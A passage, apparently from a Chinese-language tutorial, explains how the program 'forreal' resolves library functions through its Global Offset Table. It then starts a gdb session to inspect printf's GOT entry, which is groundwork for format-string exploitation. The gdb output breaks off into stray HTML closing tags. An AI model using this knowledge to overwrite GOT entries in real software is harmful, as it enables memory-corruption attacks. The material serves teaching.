848  
849  
850  
851  
852  
853它要从外面的目标文件库输入malloc、fread、abort、printf、sprintf等等函数,当这些输入函数第一次被调用时,forreal会利用动态联结器解析出它的起始地址。请注意最左边的一列,这些以0x0804开始的地址位于程序forreal的Global Offset Table中,输入函数被解析出来的地址就保存在这里。我们把这个0x0804XXXX地址叫做函数的GOT Entry。当程序再一次调用同一函数时,它将直接从该函数的GOT Entry中读取该函数的起始地址,然后跳到那里执行。   
854  
855  
856  
857我们以forreal程序对函数printf的调用为例,看看它的GOT Entry在调用前后的变化:   
858  
859  
860  
861[root@claton format]# gdb forreal   
862  
863GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support   
864  
865Copyright 1998 Free Software Foundation, Inc.   
866  
867GDB is free software, covered by the GNU General Public License, and you are   
868  
869welcome to change it and/or distribute copies of it under certain conditions.   
870  
871Type "show copying" to see the conditions.   
872  
873There is absolutely no warranty for GDB. Type "show warranty" for details.   
874  
875This GDB was configured as "i386-COL-linux"...   
876  
877(gdb) b 23 //中断于 "fread(tmp1, sizeof(ch</printf+9></printf+9></printf+4></printf+3></printf+1></printf></main></unfinished></stdio.h></main></main></main>
Published At
Categories with 服务器类
Tagged with
comments powered by Disqus